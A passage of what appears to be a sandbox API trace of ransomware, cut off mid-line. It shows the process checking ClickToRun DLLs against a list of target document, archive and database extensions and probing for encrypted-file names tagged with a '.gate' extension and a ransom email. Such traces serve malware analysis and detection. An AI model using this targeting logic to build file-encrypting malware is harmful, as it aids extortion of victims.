lstrlenW (lpString=".xls") returned 4 [0279.677] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.677] lstrlenW (lpString=".xlsx") returned 5 [0279.677] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0279.677] lstrlenW (lpString=".ppt") returned 4 [0279.677] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0279.677] lstrlenW (lpString=".zip") returned 4 [0279.677] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.677] lstrlenW (lpString=".rar") returned 4 [0279.678] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.678] lstrlenW (lpString=".bz2") returned 4 [0279.678] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.678] lstrlenW (lpString=".7z") returned 3 [0279.678] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0279.678] lstrlenW (lpString=".dbf") returned 4 [0279.678] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0279.678] lstrlenW (lpString=".1cd") returned 4 [0279.678] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0279.678] lstrlenW (lpString=".jpg") returned 4 [0279.678] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.761] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0279.761] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31 [0279.761] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0279.878] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=18624) returned 1 [0279.878] CloseHandle (hObject=0x42c) returned 1 [0279.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 0x20 [0279.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.878] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0279.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0279.878] lstrlenW (lpString=".doc") returned 4 [0279.878] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.878] lstrlenW (lpString=".docx") returned 5 [0279.878] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0279.878] lstrlenW (lpString=".pdf") returned 4 [0279.878] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.878] lstrlenW (lpString=".xls") returned 4 [0279.878] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.878] lstrlenW (lpString=".xlsx") returned 5 [0279.878] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0279.878] lstrlenW (lpString=".ppt") returned 4 [0279.878] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0279.879] lstrlenW (lpString=".zip") returned 4 [0279.879] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.879] lstrlenW (lpString=".rar") returned 4 [0279.879] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.879] lstrlenW (lpString=".bz2") returned 4 [0279.879] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.879] lstrlenW (lpString=".7z") returned 3 [0279.879] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0279.879] lstrlenW (lpString=".dbf") returned 4 [0279.879] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0279.879] lstrlenW (lpString=".1cd") returned 4 [0279.879] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0279.879] lstrlenW (lpString=".jpg") returned 4 [0279.879] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0279.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0279.879] lstrlenW (lpString=".doc") returned 4 [0279.879] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.879] lstrlenW (lpString=".docx") returned 5 [0279.879] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0279.879] lstrlenW (lpString=".pdf") returned 4 [0279.879] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.879] lstrlenW (lpString=".xls") returned 4 [0279.879] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.879] lstrlenW (lpString=".xlsx") returned 5 [0279.879] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0279.880] lstrlenW (lpString=".ppt") returned 4 [0279.880] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0279.880] lstrlenW (lpString=".zip") returned 4 [0279.880] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.880] lstrlenW (lpString=".rar") returned 4 [0279.880] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.880] lstrlenW (lpString=".bz2") returned 4 [0279.880] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.880] lstrlenW (lpString=".7z") returned 3 [0279.880] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0279.880] lstrlenW (lpString=".dbf") returned 4 [0279.880] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0279.880] lstrlenW (lpString=".1cd") returned 4 [0279.880] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0279.880] lstrlenW (lpString=".jpg") returned 4 [0279.880] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.880] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0279.880] lstrlenW (lpString="StreamServer.dll") returned 16 [0279.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0279.880] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=1053784) returned 1 [0279.881] CloseHandle (hObject=0x42c) returned 1 [0279.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll")) returned 0x20 [0279.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.881] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0279.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0279.881] lstrlenW (lpString=".doc") returned 4 [0279.881] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.881] lstrlenW (lpString=".docx") returned 5 [0279.881] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0279.881] lstrlenW (lpString=".pdf") returned 4 [0279.881] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.881] lstrlenW (lpString=".xls") returned 4 [0279.881] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.881] lstrlenW (lpString=".xlsx") returned 5 [0279.881] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0279.881] lstrlenW (lpString=".ppt") returned 4 [0279.881] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0279.881] lstrlenW (lpString=".zip") returned 4 [0279.881] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.881] lstrlenW (lpString=".rar") returned 4 [0279.882] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.882] lstrlenW (lpString=".bz2") returned 4 [0279.882] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.882] lstrlenW (lpString=".7z") returned 3 [0279.882] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0279.882] lstrlenW (lpString=".dbf") returned 4 [0279.882] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0279.882] lstrlenW (lpString=".1cd") returned 4 [0279.882] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0279.882] lstrlenW (lpString=".jpg") returned 4 [0279.882] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0279.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0279.882] lstrlenW (lpString=".doc") returned 4 [0279.882] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.882] lstrlenW (lpString=".docx") returned 5 [0279.882] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0279.882] lstrlenW (lpString=".pdf") returned 4 [0279.882] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.882] lstrlenW (lpString=".xls") returned 4 [0279.882] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.882] lstrlenW (lpString=".xlsx") returned 5 [0279.882] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0279.882] lstrlenW (lpString=".ppt") returned 4 [0279.882] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0279.883] lstrlenW (lpString=".zip") returned 4 [0279.883] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.883] lstrlenW (lpString=".rar") returned 4 [0279.883] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.883] lstrlenW (lpString=".bz2") returned 4 [0279.883] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.883] lstrlenW (lpString=".7z") returned 3 [0279.883] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0279.883] lstrlenW (lpString=".dbf") returned 4 [0279.883] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0279.883] lstrlenW (lpString=".1cd") returned 4 [0279.883] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0279.883] lstrlenW (lpString=".jpg") returned 4 [0279.883] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.883] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0279.883] lstrlenW (lpString="ucrtbase.dll") returned 12 [0279.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0279.884] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=982720) returned 1 [0279.884] CloseHandle (hObject=0x42c) returned 1 [0279.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")) returned 0x20 [0279.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.884] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0279.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0279.885] lstrlenW (lpString=".doc") returned 4 [0279.885] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.885] lstrlenW (lpString=".docx") returned 5 [0279.885] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0279.885] lstrlenW (lpString=".pdf") returned 4 [0279.885] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.885] lstrlenW (lpString=".xls") returned 4 [0279.885] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.885] lstrlenW (lpString=".xlsx") returned 5 [0279.885] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0279.885] lstrlenW (lpString=".ppt") returned 4 [0279.885] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0279.885] lstrlenW (lpString=".zip") returned 4 [0279.885] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.885] lstrlenW (lpString=".rar") returned 4 [0279.885] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.885] lstrlenW (lpString=".bz2") returned 4 [0279.885] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.885] lstrlenW (lpString=".7z") returned 3 [0279.885] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0279.885] lstrlenW (lpString=".dbf") returned 4 [0279.885] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0279.885] lstrlenW (lpString=".1cd") returned 4 [0279.885] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0279.885] lstrlenW (lpString=".jpg") returned 4 [0279.885] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0279.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0279.886] lstrlenW (lpString=".doc") returned 4 [0279.886] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.886] lstrlenW (lpString=".docx") returned 5 [0279.886] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0279.886] lstrlenW (lpString=".pdf") returned 4 [0279.886] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.886] lstrlenW (lpString=".xls") returned 4 [0279.886] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.886] lstrlenW (lpString=".xlsx") returned 5 [0279.886] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0279.886] lstrlenW (lpString=".ppt") returned 4 [0279.886] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0279.886] lstrlenW (lpString=".zip") returned 4 [0279.886] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.886] lstrlenW (lpString=".rar") returned 4 [0279.886] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.886] lstrlenW (lpString=".bz2") returned 4 [0279.886] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.886] lstrlenW (lpString=".7z") returned 3 [0279.886] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0279.886] lstrlenW (lpString=".dbf") returned 4 [0279.886] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0279.886] lstrlenW (lpString=".1cd") returned 4 [0279.886] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0279.886] lstrlenW (lpString=".jpg") returned 4 [0279.886] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.887] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0279.887] lstrlenW (lpString="vccorlib140.dll") returned 15 [0279.887] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0279.892] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=390320) returned 1 [0279.892] CloseHandle (hObject=0x42c) returned 1 [0279.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll")) returned 0x20 [0279.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.893] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0279.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0279.893] lstrlenW (lpString=".doc") returned 4 [0279.893] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.893] lstrlenW (lpString=".docx") returned 5 [0279.893] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0279.893] lstrlenW (lpString=".pdf") returned 4 [0279.893] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.893] lstrlenW (lpString=".xls") returned 4 [0279.893] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.893] lstrlenW (lpString=".xlsx") returned 5 [0279.893] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0279.893] lstrlenW (lpString=".ppt") returned 4 [0279.893] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0279.893] lstrlenW (lpString=".zip") returned 4 [0279.893] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.893] lstrlenW (lpString=".rar") returned 4 [0279.893] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.893] lstrlenW (lpString=".bz2") returned 4 [0279.893] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.893] lstrlenW (lpString=".7z") returned 3 [0279.893] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0279.894] lstrlenW (lpString=".dbf") returned 4 [0279.894] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0279.894] lstrlenW (lpString=".1cd") returned 4 [0279.894] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0279.894] lstrlenW (lpString=".jpg") returned 4 [0279.894] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0279.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0279.894] lstrlenW (lpString=".doc") returned 4 [0279.894] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.894] lstrlenW (lpString=".docx") returned 5 [0279.894] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0279.894] lstrlenW (lpString=".pdf") returned 4 [0279.894] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.894] lstrlenW (lpString=".xls") returned 4 [0279.894] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.894] lstrlenW (lpString=".xlsx") returned 5 [0279.894] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0279.894] lstrlenW (lpString=".ppt") returned 4 [0279.894] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0279.894] lstrlenW (lpString=".zip") returned 4 [0279.894] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.894] lstrlenW (lpString=".rar") returned 4 [0279.894] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.894] lstrlenW (lpString=".bz2") returned 4 [0279.894] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.894] lstrlenW (lpString=".7z") returned 3 [0279.894] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0279.894] lstrlenW (lpString=".dbf") returned 4 [0279.895] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0279.895] lstrlenW (lpString=".1cd") returned 4 [0279.895] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0279.895] lstrlenW (lpString=".jpg") returned 4 [0279.895] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.895] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0279.895] lstrlenW (lpString="vcruntime140.dll") returned 16 [0279.895] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0279.895] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=88752) returned 1 [0279.895] CloseHandle (hObject=0x42c) returned 1 [0279.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll")) returned 0x20 [0279.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft 